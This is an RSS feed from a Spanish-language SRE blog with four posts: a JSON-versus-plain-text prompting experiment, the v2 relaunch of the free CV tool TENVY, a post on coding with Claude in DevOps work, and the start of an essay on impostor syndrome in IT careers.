<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/rss.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>OscarAI Tech</title><description>Blog de SRE &amp; Fiabilidad - Automatización, observabilidad, postmortems y operaciones en producción</description><link>https://blog.oscarai.tech</link><item><title>La Evolución del Prompting: ¿JSON o Texto Plano? Desmitificando la Comunicación con LLMs</title><link>https://blog.oscarai.tech/posts/la-evoluci%C3%B3n-del-prompting-json-o-texto-plano-desmitificando-la-comunicaci%C3%B3n-con-llms</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/la-evoluci%C3%B3n-del-prompting-json-o-texto-plano-desmitificando-la-comunicaci%C3%B3n-con-llms</guid><description>Un experimento comparativo sobre la eficacia de los formatos en LLMs y las reglas de oro para obtener mejores resultados.</description><pubDate>Tue, 25 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;¿Alguna vez te has sentido como si necesitaras aprender un lenguaje de programación secreto solo para obtener una respuesta decente de una Inteligencia Artificial? En el vertiginoso mundo de los Grandes Modelos de Lenguaje (LLM), existe la creencia persistente de que cuanto más complejo y técnico sea tu &quot;prompt&quot; (la instrucción que le das a la IA), mejor será el resultado. Durante mucho tiempo, se nos ha dicho que estructurar nuestros pedidos como si fueran código es el Santo Grial.&lt;/p&gt;
&lt;p&gt;Sin embargo, la tecnología avanza a pasos agigantados y lo que era cierto hace seis meses, hoy podría ser obsoleto. Recientemente, me embarqué en un experimento para desentrañar este misterio que ronda a la comunidad del &lt;em&gt;prompting&lt;/em&gt;: ¿Es el formato estructurado (JSON) realmente superior al texto natural para obtener resultados de calidad?&lt;/p&gt;
&lt;p&gt;Lo que descubrí en mi laboratorio de pruebas no solo me sorprendió, sino que simplifica enormemente la forma en que todos —desde desarrolladores hasta creadores de contenido— deberíamos interactuar con estas herramientas. Spoiler alert: la magia no está en los paréntesis ni en las llaves.&lt;/p&gt;
&lt;h3&gt;El Experimento: El Duelo de Formatos&lt;/h3&gt;
&lt;p&gt;Para poner a prueba la teoría, diseñé una serie de pruebas comparativas utilizando los modelos más avanzados del mercado actual. El objetivo era simple: pedir exactamente lo mismo de dos maneras radicalmente distintas y analizar la calidad, precisión y utilidad de la respuesta.&lt;/p&gt;
&lt;p&gt;Por un lado, utilicé prompts en formato JSON. El JSON (&lt;em&gt;JavaScript Object Notation&lt;/em&gt;) es un formato de texto estándar para representar datos estructurados. Se ve muy técnico y ordenado. Por otro lado, utilicé prompts en texto plano, hablando con la IA como si fuera un colega humano.&lt;/p&gt;
&lt;p&gt;Para que visualices la diferencia, aquí tienes un ejemplo simplificado de lo que comparé:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;El Prompt en JSON:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;{&quot;tarea&quot;: &quot;resumir&quot;, &quot;documento&quot;: &quot;[texto del artículo]&quot;, &quot;longitud_max&quot;: &quot;50 palabras&quot;, &quot;tono&quot;: &quot;profesional&quot;}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;El Prompt en Texto Plano:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Por favor, resume el siguiente artículo en un máximo de 50 palabras usando un tono profesional: [texto del artículo]&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;El Hallazgo:
Contra todo pronóstico inicial, los resultados fueron prácticamente indistinguibles.&lt;/p&gt;
&lt;p&gt;Esto nos dice algo fascinante sobre la evolución de los LLM: su capacidad de comprensión semántica ha madurado hasta tal punto que son capaces de interpretar nuestra intención con una precisión asombrosa, independientemente de si usamos una estructura de código rígida o una frase natural. La IA ya no necesita que le hables en robot para entenderte; necesita que le hables con claridad.&lt;/p&gt;
&lt;h2&gt;Las 3 &apos;Reglas de Oro&apos; del Prompting Moderno&lt;/h2&gt;
&lt;p&gt;Si el formato (JSON vs. Texto) ya no es el factor decisivo, ¿qué es lo que realmente importa? A través de mis pruebas, identifiqué que el éxito no depende de &lt;em&gt;cómo&lt;/em&gt; empaquetes la información, sino de la calidad de la instrucción misma.&lt;/p&gt;
&lt;p&gt;A pesar de la convergencia en los formatos, he aislado tres Reglas de Oro universales. Si aplicas estos tres principios, mejorarás drásticamente tus resultados, sin importar si usas ChatGPT, Claude o Llama.&lt;/p&gt;
&lt;h3&gt;1. Define Explícitamente el QUÉ&lt;/h3&gt;
&lt;p&gt;El error más común es asumir que la IA lee tu mente. Un LLM es una máquina de predicción, y si dejas espacio a la ambigüedad, intentará adivinar (y a menudo fallará).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;La clave: Sé directo sobre el objetivo final. No digas mira este texto; di analiza este texto y extrae los 3 argumentos principales. Cuanto más específico sea el verbo de acción, mejor será la ejecución.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Especifica Claramente el CÓMO&lt;/h3&gt;
&lt;p&gt;Aquí es donde muchos fallan. Una vez que la IA sabe qué hacer, necesita saber bajo qué parámetros hacerlo. Si no defines el formato, el tono y la estructura, recibirás una respuesta genérica.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;La clave: Dale restricciones.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;¿Formato?&lt;/em&gt; Entrégalo en una tabla de dos columnas o En una lista con viñetas.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;¿Tono?&lt;/em&gt; Usa un tono sarcástico pero educativo o Sé formal y conciso.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;¿Estructura?&lt;/em&gt; Empieza con una conclusión y luego desglosa los puntos.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. Exige la Totalidad del Contenido (Todo, y sin atajos)&lt;/h3&gt;
&lt;p&gt;Los LLM, por diseño, a veces tienden a la pereza computacional para ahorrar recursos, dándote resúmenes o fragmentos de código con comentarios como &lt;code&gt;// ... resto del código aquí&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;La clave: Instruye explícitamente al modelo para que genere TODO el contenido necesario.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Ejemplo:&lt;/em&gt; Escribe el código completo, sin omitir ninguna función ni usar marcadores de posición.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Ejemplo:&lt;/em&gt; Desarrolla la respuesta completa paso a paso, sin dejar cabos sueltos ni resumir secciones críticas.
Esta simple instrucción obliga al modelo a realizar un esfuerzo computacional mayor para cumplir con la solicitud íntegra.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Conclusión: Claridad sobre Complejidad&lt;/h3&gt;
&lt;p&gt;La era de tener que ser un susurrador de código para obtener buenos resultados de una IA está llegando a su fin. Mi experimento demuestra que la barrera de entrada técnica se está desmoronando: un prompt en texto plano bien redactado es tan poderoso como una estructura JSON compleja.&lt;/p&gt;
&lt;p&gt;Lo que permanece constante, y se vuelve aún más valioso, es nuestra capacidad de comunicación. Las Reglas de Oro (Qué, Cómo y Totalidad) son tu mejor herramienta. No te obsesiones con los paréntesis; obsesiónate con la claridad de tu intención.&lt;/p&gt;
&lt;p&gt;La próxima vez que te sientes frente a un prompt, te invito a probar estas reglas. Olvida la sintaxis compleja y concéntrate en ser el mejor jefe posible para tu asistente digital: claro, específico y exigente.&lt;/p&gt;
&lt;p&gt;¿Quieres que analice un caso de uso específico en mi próximo experimento? Déjame un comentario o contáctame en redes sociales. ¡La evolución de la IA la escribimos entre todos!&lt;/p&gt;
</content:encoded><author>Oscar</author></item><item><title>TENVY v2: Lo que aprendí tras encerrarme un fin de semana a reescribir la plataforma</title><link>https://blog.oscarai.tech/posts/tenvy-v2-lo-que-aprend%C3%AD-tras-encerrarme-un-fin-de-semana-a-reescribir-la-plataforma</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/tenvy-v2-lo-que-aprend%C3%AD-tras-encerrarme-un-fin-de-semana-a-reescribir-la-plataforma</guid><pubDate>Tue, 02 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Table of Contents&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;El valor de la imperfección (y de escuchar)&lt;/li&gt;
&lt;li&gt;Crónica de un fin de semana de código&lt;/li&gt;
&lt;li&gt;¿Qué trae la v2 bajo el capó?&lt;/li&gt;
&lt;li&gt;La marca soy yo, la comunidad sois vosotros&lt;/li&gt;
&lt;li&gt;Un agradecimiento técnico&lt;/li&gt;
&lt;li&gt;¿Qué sigue?&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Martes, 02 de Diciembre. Acabo de publicar en LinkedIn el lanzamiento de la nueva versión de Tenvy. Pero LinkedIn es para el titular; aquí quiero contar la historia completa.&lt;/p&gt;
&lt;p&gt;Hace tres meses lancé este proyecto (&lt;a href=&quot;https://tenvy.es&quot;&gt;tenvy&lt;/a&gt;) con un eslogan que, para mí, es una ley: &lt;strong&gt;&quot;Buscar trabajo NO debería costar dinero&quot;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;La acogida de la versión 1 (v1) fue numéricamente buena para un proyecto que acaba de nacer:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;264 usuarios registrados.&lt;/li&gt;
&lt;li&gt;570 currículums analizados.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pero los números son vanidad si la experiencia de usuario falla. Y falló.&lt;/p&gt;
&lt;h2&gt;El valor de la imperfección (y de escuchar)&lt;/h2&gt;
&lt;p&gt;Como emprendedor, a veces te obsesionas con el roadmap, con las features futuras o con el diseño perfecto. Pero la realidad te golpea cuando abres el correo. Recibí mensajes de &lt;strong&gt;15 usuarios&lt;/strong&gt;. No eran mensajes de felicitación, eran reportes de errores:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&quot;Oye, el login no va&quot;.&lt;/em&gt;&lt;br /&gt;
&lt;em&gt;&quot;El análisis se queda colgado a la mitad&quot;.&lt;/em&gt;&lt;br /&gt;
&lt;em&gt;&quot;Los caracteres del ATS salen raros y no se entiende nada&quot;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;En ese momento tienes dos opciones:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Poner excusas (&quot;es que es una beta&quot;, &quot;es que tu navegador…&quot;).&lt;/li&gt;
&lt;li&gt;Aceptar que el usuario manda.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Elegí la segunda. Como he leído recientemente en la historia de otros emprendedores, &lt;strong&gt;lanzar algo imperfecto no es malo, siempre y cuando estés dispuesto a escuchar el feedback y pivotar rápido&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Crónica de un fin de semana de código&lt;/h2&gt;
&lt;p&gt;Decidí que la &quot;v1.5&quot; no era suficiente. Necesitaba una v2.&lt;/p&gt;
&lt;p&gt;Me encerré este fin de semana. Café, música y Visual Studio Code. He tocado prácticamente todo el core de la plataforma. No solo he puesto parches; he reescrito la lógica que estaba fallando.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Y aquí debo ser honesto: nada de esto habría sido posible sin lo que estoy aprendiendo en mi máster de Desarrollo con IA.&lt;/strong&gt; Esos 15 mensajes de error no me habrían servido de nada si no hubiera tenido las herramientas para solucionarlos. Structured outputs, manejo de prompts como código, arquitectura limpia… no son buzzwords, son lo que separa un MVP roto de un producto que funciona.&lt;/p&gt;
&lt;h2&gt;¿Qué trae la v2 bajo el capó?&lt;/h2&gt;
&lt;h3&gt;1. Estabilidad total en el Login&lt;/h3&gt;
&lt;p&gt;He simplificado el proceso de autenticación. Entrar en Tenvy ahora es inmediato.&lt;/p&gt;
&lt;h3&gt;2. Análisis de CV robusto&lt;/h3&gt;
&lt;p&gt;Ya no se &quot;cuelga&quot;. He optimizado la forma en que procesamos el archivo para que, incluso si tu PDF es pesado o tiene un formato extraño, el sistema responda.&lt;/p&gt;
&lt;h3&gt;3. El problema de la &quot;Sobrecualificación&quot;&lt;/h3&gt;
&lt;p&gt;Este es el cambio más importante. Analizando los datos de esos 570 CVs, detecté un patrón alarmante. &lt;strong&gt;Mucha gente no es rechazada por falta de experiencia, sino por exceso.&lt;/strong&gt; Los sistemas ATS (y los reclutadores humanos) a veces descartan perfiles &quot;caros&quot; o &quot;demasiado senior&quot; antes de siquiera hablar con ellos.&lt;/p&gt;
&lt;p&gt;La v2 de Tenvy ahora &lt;strong&gt;detecta explícitamente si tu perfil corre riesgo de ser descartado por estar sobrecualificado&lt;/strong&gt; para la oferta y te sugiere cómo adaptarlo. Ya no basta con tener experiencia; hay que mostrar la experiencia exacta que pide la oferta.&lt;/p&gt;
&lt;h2&gt;La marca soy yo, la comunidad sois vosotros&lt;/h2&gt;
&lt;p&gt;Tenvy no es una multinacional. Detrás de cada línea de código y de cada respuesta de soporte estoy yo, Óscar.&lt;/p&gt;
&lt;p&gt;No tengo inversores presionando para monetizar tus datos. No tengo un equipo de marketing maquillando la realidad. Mi objetivo es simple: &lt;strong&gt;usar mis conocimientos en tecnología y ciberseguridad para nivelar el campo de juego en la búsqueda de empleo.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;No puedo hacer la entrevista por ti, ni puedo arreglar un mercado laboral que a veces parece roto. Pero puedo darte las herramientas para que tu CV pase el primer filtro.&lt;/p&gt;
&lt;h2&gt;Un agradecimiento técnico&lt;/h2&gt;
&lt;p&gt;Estoy en un máster de Desarrollo con IA. Cuando lancé la v1, aplicaba IA &quot;a lo bruto&quot;: prompts sin estructura, manejo de errores amateur, arquitectura de código spaghetti.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;La v2 es diferente porque ahora tengo las herramientas correctas.&lt;/strong&gt; Structured outputs con LangChain, sistemas de fallback, OAuth bien implementado… Son cosas que aprendes en clase, pero que no entiendes de verdad hasta que las aplicas en producción con 264 usuarios esperando que todo funcione.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Stack técnico de la v2:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Flask + Gunicorn + PostgreSQL&lt;/li&gt;
&lt;li&gt;LangChain + Structured Outputs&lt;/li&gt;
&lt;li&gt;Docker + nginx&lt;/li&gt;
&lt;li&gt;OAuth Google/LinkedIn con JWT stateless&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Si estás en el máster leyendo esto: &lt;strong&gt;sí, lo de &quot;trata los prompts como código&quot; funciona en producción.&lt;/strong&gt; Y sí, vale la pena reescribir todo el domingo por la noche cuando sabes que el lunes 15 personas van a tener una mejor experiencia.&lt;/p&gt;
&lt;h2&gt;¿Qué sigue?&lt;/h2&gt;
&lt;p&gt;Seguir escuchando. Esos 15 usuarios que se quejaron han aportado más valor a Tenvy que cualquier plan de negocio teórico que yo pudiera haber escrito en una servilleta.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;La v2 ya está online.&lt;/strong&gt; Es más rápida, más visual y, sobre todo, más honesta.&lt;/p&gt;
&lt;p&gt;Si estás buscando trabajo, te invito a probarla. Y si encuentras un fallo, por favor, escríbeme. Me volveré a encerrar otro fin de semana si hace falta.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Porque buscar trabajo no debería costar dinero.&lt;/strong&gt;&lt;/p&gt;
</content:encoded><author>Oscar</author></item><item><title>Vibe Coding con Claude: Lo que nadie te cuenta sobre trabajar con LLMs en DevOps</title><link>https://blog.oscarai.tech/posts/vibe-coding-con-claude-lo-que-nadie-te-cuenta-sobre-trabajar-con-llms-en-devops</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/vibe-coding-con-claude-lo-que-nadie-te-cuenta-sobre-trabajar-con-llms-en-devops</guid><pubDate>Fri, 05 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Llevo varios meses trabajando intensivamente con Claude en el desarrollo de TENVY y en mi trabajo como Platform Engineer. No voy a venderte humo sobre &quot;el futuro del desarrollo&quot; ni a decirte que la IA no te va a quitar el trabajo. La verdad es que no lo sé. Lo que sí sé es que las cosas están cambiando, rápido, y me he encontrado aprendiendo tecnologías y conceptos que jamás pensé que tocaría.&lt;/p&gt;
&lt;h2&gt;¿Qué coño es &quot;vibe coding&quot;?&lt;/h2&gt;
&lt;p&gt;Olvídate de la definición marketiniana. En la práctica vibe coding es esto: describes lo que quieres hacer, el LLM te genera código, tú lo revisas, lo entiendes, lo ajustas, y lo iteras. No es magia. No es copiapega. Es un ciclo de colaboración donde TÚ sigues siendo el que entiende el sistema, la arquitectura, y los trade-offs.&lt;/p&gt;
&lt;p&gt;Ejemplo de mi día a día:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Antes (enfoque tradicional):
# 1. Googlear &quot;kubernetes cronjob with secrets&quot;
# 2. Leer 3 artículos de StackOverflow
# 3. Adaptar el código a mi caso
# 4. Debuggear durante 40 minutos porque olvidé un indentado en el YAML
# Tiempo total: ~2 horas

# Ahora (con Claude):
# 1. &quot;Claude, necesito un CronJob de K8s que ejecute este script cada 6 horas,
#     monte estos secrets, y tenga retry policy con backoff exponencial&quot;
# 2. Revisar el YAML generado
# 3. Ajustar según mis políticas de cluster
# Tiempo total: ~20 minutos
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;La diferencia no es que Claude haga tu trabajo. Es que elimina la fricción entre pensar y ejecutar.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Lo que he aprendido (y nadie me dijo)&lt;/h2&gt;
&lt;h3&gt;1. No todas las herramientas LLM son iguales&lt;/h3&gt;
&lt;p&gt;He probado Cursor, GitHub Copilot, y Claude CLI directamente. Para debugging complejo y problemas de arquitectura, Claude CLI me ha dado resultados significativamente mejores. ¿Por qué? Contexto. Cuando le das el contexto completo de tu problema (logs, configuraciones, código relacionado), la calidad de las respuestas es otro nivel.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Copilot&lt;/strong&gt;: Genial para autocompletar funciones simples.&lt;br /&gt;
&lt;strong&gt;Cursor&lt;/strong&gt;: Bueno para refactors y edición inline.&lt;br /&gt;
&lt;strong&gt;Claude CLI&lt;/strong&gt;: Superior para arquitectura, debugging complejo, y cuando necesitas entender el &quot;por qué&quot;.&lt;/p&gt;
&lt;h3&gt;2. La calidad del prompt = calidad del código&lt;/h3&gt;
&lt;p&gt;Esto suena obvio, pero no lo es. Aprendí por las malas que &quot;haz una API en Flask&quot; te da código de tutorial. En cambio:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;Necesito una API REST en Flask que:
- Maneje autenticación OAuth con Google
- Procese PDFs en memoria (sin guardarlos en disco por GDPR)
- Use SQLAlchemy con PostgreSQL
- Tenga rate limiting por IP
- Devuelva errores en formato JSON con códigos HTTP apropiados
- Incluya logging estructurado&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Te da código production-ready (o casi).&lt;/p&gt;
&lt;h3&gt;3. El debugging ha cambiado radicalmente&lt;/h3&gt;
&lt;p&gt;Antes: Leer stacktraces, googlear el error, probar soluciones random hasta que algo funciona.&lt;/p&gt;
&lt;p&gt;Ahora: Le paso el stacktrace completo a Claude con contexto del código. En el 80% de los casos, identifica el problema exacto y me da la solución. Pero aquí está el truco: &lt;strong&gt;tengo que entender la solución para verificar que tiene sentido en mi arquitectura.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;No es copiar código ciegamente. Es tener un pair programmer experto disponible 24/7.&lt;/p&gt;
&lt;h3&gt;4. La curva de aprendizaje se ha invertido&lt;/h3&gt;
&lt;p&gt;Tradicionalmente: Aprendes la teoría → Practicas → Construyes.&lt;/p&gt;
&lt;p&gt;Con LLMs: Construyes → Entiendes qué está pasando → Profundizas en la teoría cuando necesitas optimizar.&lt;/p&gt;
&lt;p&gt;He implementado patrones de diseño que antes me habría costado semanas entender, y luego los he estudiado a fondo porque ya los tenía funcionando en producción. Es... diferente. No sé si mejor o peor, pero definitivamente más rápido para iterar.&lt;/p&gt;
&lt;h2&gt;Casos de uso en DevOps&lt;/h2&gt;
&lt;h3&gt;Infraestructura como Código&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Ejemplo: Migrar configuración manual de Nginx a código
# Le pasé mi nginx.conf actual y pedí:
# &quot;Convierte esto a configuración de Ansible, hazlo idempotente,
#  y añade validación de sintaxis antes de aplicar cambios&quot;

# Resultado: Playbook completo con validación, rollback, y testing
# Tiempo ahorrado: ~4 horas
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;CI/CD Pipelines&lt;/h3&gt;
&lt;p&gt;He montado mi primer sistema CI/CD con GitHub Actions literalmente aprendiendo sobre la marcha con Claude. Antes me daba pereza meterme en YAML de pipelines porque la curva de aprendizaje era empinada. Con Claude:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&quot;Necesito un pipeline que haga testing, build de Docker, y deploy a mi VPS&quot;&lt;/li&gt;
&lt;li&gt;Me genera el &lt;code&gt;.github/workflows/deploy.yml&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Ajusto según mi infra específica&lt;/li&gt;
&lt;li&gt;Funciona al segundo intento (el primero fallé yo, no Claude)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Gestión de Secrets y Seguridad&lt;/h3&gt;
&lt;p&gt;Hace poco metí la pata y comiteé secrets a un repo público. Claude me ayudó a:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Revocar los secrets comprometidos&lt;/li&gt;
&lt;li&gt;Implementar git-secrets para prevenir futuros incidentes&lt;/li&gt;
&lt;li&gt;Configurar pre-commit hooks&lt;/li&gt;
&lt;li&gt;Documentar el proceso para el equipo&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Todo en una sesión de 2 horas. Antes, esto habría sido un día completo de investigación + implementación.&lt;/p&gt;
&lt;h2&gt;Lo que NO ha cambiado (y no va a cambiar)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Tienes que entender lo que hace el código.&lt;/strong&gt; Si no, estás generando deuda técnica.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tienes que conocer tu arquitectura.&lt;/strong&gt; Claude no sabe cómo está montado tu K8s cluster.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tienes que tomar decisiones.&lt;/strong&gt; Claude te da opciones, tú decides cuál encaja mejor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tienes que debuggear cuando falla.&lt;/strong&gt; Y va a fallar, porque las herramientas no son perfectas.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;El cambio&lt;/h2&gt;
&lt;p&gt;No es que ahora &quot;cualquiera pueda programar&quot;. Es que los que ya sabemos programar podemos:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Iterar 5-10x más rápido&lt;/li&gt;
&lt;li&gt;Explorar tecnologías nuevas sin meses de curva de aprendizaje&lt;/li&gt;
&lt;li&gt;Enfocarnos en arquitectura y decisiones, no en sintaxis&lt;/li&gt;
&lt;li&gt;Mantener múltiples proyectos que antes serían imposibles&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;En mi caso: mantengo TENVY (una plataforma completa con Flask, PostgreSQL, Docker, CI/CD) mientras trabajo full-time en ALDI España y estudio un máster en IA. Antes, uno de esos tres habría sido insostenible.&lt;/p&gt;
&lt;h2&gt;Conclusión: Adaptarse o quedarse atrás&lt;/h2&gt;
&lt;p&gt;No sé si la IA va a quitar trabajos. Lo que sí sé es que los desarrolladores/DevOps que sepan trabajar con LLMs van a ser mucho más productivos que los que no. Y en un mercado competitivo, esa diferencia importa.&lt;/p&gt;
&lt;p&gt;Mi consejo:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Experimenta.&lt;/strong&gt; Prueba Claude, ChatGPT, Cursor, lo que sea.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Documenta tu aprendizaje.&lt;/strong&gt; Yo he aprendido una burrada y me arrepiento de no haber documentado más desde el principio.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mantén el pensamiento crítico.&lt;/strong&gt; El código generado por IA no es perfecto. Revísalo, entiéndelo, mejóralo.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No tengas miedo a parecer &quot;junior&quot;.&lt;/strong&gt; He preguntado cosas básicas a Claude que me daba vergüenza googlear. Resultado: he aprendido más en 6 meses que en años de copiar código de StackOverflow.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;El cambio está aquí. Nos guste o no. Yo he decidido adaptarme. ¿Y tú?&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;Este post está basado en mi experiencia desarrollando TENVY y trabajando como Platform Engineer. Si tienes preguntas o quieres discutir sobre el tema, escríbeme en LinkedIn.&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>Oscar</author></item><item><title>El día que puse el freno de mano</title><link>https://blog.oscarai.tech/posts/el-d%C3%ADa-que-puse-el-freno-de-mano</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/el-d%C3%ADa-que-puse-el-freno-de-mano</guid><description> El día que puse el freno de mano: 14 años sobreviviendo al Síndrome del Impostor</description><pubDate>Thu, 11 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Durante 14 años, mi carrera se sintió como una huida hacia adelante.&lt;/h2&gt;
&lt;p&gt;Si trabajas en tecnología, conoces la sensación. Es un ruido de fondo constante. Pestañeas y ha nacido un nuevo framework. Vas a por un café y tu lenguaje de programación principal se ha actualizado dos veces. Abres LinkedIn y todo el mundo parece estar certificado en tecnologías que tú apenas has tenido tiempo de leer en diagonal.&lt;/p&gt;
&lt;p&gt;Durante más de una década, viví convencido de que mi rol era el de un &lt;strong&gt;apagafuegos&lt;/strong&gt;. Pasaba de rama en rama, acumulando cursos, títulos y experiencias, pero sintiéndome obsoleto al instante. Cambiaba de empresa cada año y medio, no por ambición, sino por la sensación asfixiante de estancamiento o por el miedo a que descubrieran que, en el fondo, no sabía lo suficiente.&lt;/p&gt;
&lt;h2&gt;La maldición del porqué&lt;/h2&gt;
&lt;p&gt;Desde que empecé en IT, tuve un defecto que en realidad era una virtud disfrazada: quería aprenderlo TODO. Si mi tarea era A, y veía que mis superiores hacían B, C y D, yo necesitaba entender la lógica detrás de todo el abecedario. Odiaba el &lt;em&gt;esto es así y punto&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Esa curiosidad insaciable, paradójicamente, me jugó en contra. En un mundo que premia la especialización rápida, yo me sentía disperso. Hice DAW, DAM, ASIX... picoteando de todo, sintiendo que no era experto en nada. Me veía a mí mismo como un generalista en un mundo de especialistas, un &lt;em&gt;mindundi&lt;/em&gt; eterno.&lt;/p&gt;
&lt;p&gt;Pero el punto de inflexión no llegó en un momento de fracaso, sino, curiosamente, rodeado de éxito ajeno.&lt;/p&gt;
&lt;h2&gt;El espejo distorsionado&lt;/h2&gt;
&lt;p&gt;Hubo una etapa en mi carrera donde aterricé en un equipo lleno de gente TOP. Personas con carreras de prestigio, con un talento técnico brutal. Yo me sentía pequeño. Me sentaba en mi silla pensando: &lt;em&gt;En cualquier momento se darán cuenta de que no pertenezco a esta liga&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Sin embargo, ocurrió algo que no encajaba con mi narrativa interna: &lt;strong&gt;esa gente empezó a pedirme ayuda&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Me pedían opinión sobre arquitecturas, sobre códigos, sobre automatizaciones. Valoraban mi criterio. Yo pensaba: &lt;em&gt;¿Están locos? Si yo solo soy el que apaga los fuegos&lt;/em&gt;. Tardé mucho tiempo en entender que lo que yo veía como dispersión, ellos lo veían como &lt;strong&gt;versatilidad&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Ahí fue cuando me di cuenta de que llevaba 14 años viviendo en mi propia sombra. Y descubrí que no estaba solo.&lt;/p&gt;
&lt;h2&gt;Voces compartidas: No eres el único&lt;/h2&gt;
&lt;p&gt;Al empezar a compartir esto en comunidades y foros, me di cuenta de que el Síndrome del Impostor es la verdadera pandemia del sector IT. No importa si llevas dos días o veinte años.&lt;/p&gt;
&lt;p&gt;Un compañero, &lt;strong&gt;Rubert&lt;/strong&gt;, lo describió con una claridad dolorosa:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Muchas veces veo a otros que parecen dominar temas mucho más profundos y, sinceramente, a mí me cuesta horrores aprender. (...) Cuando me entra el síndrome del impostor, siempre trato de recordar cómo era yo hace dos o cuatro meses. (...) No existe un camino &apos;correcto&apos; y el área es tan amplia que es normal no saberlo todo.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Rubert tenía razón. Nos comparamos con la foto final del éxito de otros, ignorando sus procesos.&lt;/p&gt;
&lt;p&gt;Y luego está la historia de &lt;strong&gt;MeTaN01a&lt;/strong&gt;, que me enseñó que la carrera tecnológica no es una línea recta. Él pasó de instalar Windows 95 con disquetes a abandonar la tecnología por completo, vivir de mochilero, enfrentarse al silencio y volver a empezar de cero a los 44 años:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;El silencio me obligó a mirarme de frente. (...) A los 44 años me matriculé en Ingeniería en Ciberseguridad, volví a Kali, a los labs. (...) No importa lo que hayas vivido, la edad que tengas o cuántas veces hayas empezado de cero. Importa cuando decides volver al camino.&lt;/em&gt;&lt;/p&gt;
